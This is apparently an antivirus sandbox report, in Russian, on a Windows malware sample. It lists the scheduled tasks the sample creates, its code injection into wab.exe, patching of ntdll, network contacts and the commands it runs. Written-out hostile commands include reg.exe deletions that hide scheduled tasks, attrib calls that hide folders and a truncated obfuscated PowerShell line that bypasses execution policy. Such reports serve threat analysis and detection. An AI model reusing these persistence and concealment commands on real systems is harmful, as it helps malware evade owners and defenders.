Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoftsupportedmaintain
- <SYSTEM32>\tasks\microsoftupdatezohar5
- <SYSTEM32>\tasks\servisantivirus_fv72nhbzbsia86eqptep
- <SYSTEM32>\tasks\windowssdxv
- <SYSTEM32>\tasks\windowssdxvregy
- <SYSTEM32>\tasks\windowssdxvbckp
Вредоносные функции
Внедряет код в
следующие пользовательские процессы:
- wab.exe
Патчит код
в динамической библиотеке NTDLL
- Процесс powershell.exe, модуль ntdll.dll
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\reg.exe
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\gszm4ai8sb2zlyz1fpfiyj8pp1upasp9ba6etlh6hnudrrseje.venividiv
Удаляет файлы, которые сам же создал
- %ALLUSERSPROFILE%\gszm4ai8sb2zlyz1fpfiyj8pp1upasp9ba6etlh6hnudrrseje.venividiv
- <SYSTEM32>\tasks\windowssdxv
- <SYSTEM32>\tasks\windowssdxvregy
- <SYSTEM32>\tasks\windowssdxvbckp
Сетевая активность
Подключается к
- 'on#.#ne.one.one':443
- 'fi######cl.zohoexternal.com':443
- 'google.com':443
- 't.#e':443
- 'or##.#ptiframe.pro':443
- 'x1.#.lencr.org':80
- 'te##gram.me':443
TCP
Запросы HTTP GET
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?43##############
- http://x1.#.lencr.org/
Другие
- 'on#.#ne.one.one':443
- 'fi######cl.zohoexternal.com':443
- 'google.com':443
- 't.#e':443
- 'or##.#ptiframe.pro':443
UDP
- DNS ASK on#.#ne.one.one
- DNS ASK fi######cl.zohoexternal.com
- DNS ASK google.com
- DNS ASK t.#e
- DNS ASK or##.#ptiframe.pro
- DNS ASK x1.#.lencr.org
- DNS ASK te##gram.me
Другое
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoExit -ExecutionPolicy Bypass $ErrorActionPreference='SMNNn3439582PPPqqwBM33432524l4385252ssssss34546ntlyContMNNn3439582PPPqqwBM33432524nu4385252ssssss34546'.('re'+'PL'+'Ac'+'e')('MNNn3439582...
- '<SYSTEM32>\attrib.exe' +h %ALLUSERSPROFILE%\ServicesFolder\Service\ServisAntivirus_FV72NhBZBSIA86EQPTep
- '<SYSTEM32>\attrib.exe' +s +h %ALLUSERSPROFILE%\ServicesFolder\*
- '<SYSTEM32>\attrib.exe' +s +h %ALLUSERSPROFILE%\ServicesFolder
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Version 5.1 -s -NoLogo -NoProfile
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ServisAntivirus_FV72NhBZBSIA86EQPTep" /v SD /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\MicrosoftSupportedMaintain" /v SD /f
- '%ProgramFiles%\windows mail\wab.exe'
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\MicrosoftUpdateZohar5" /v SD /f
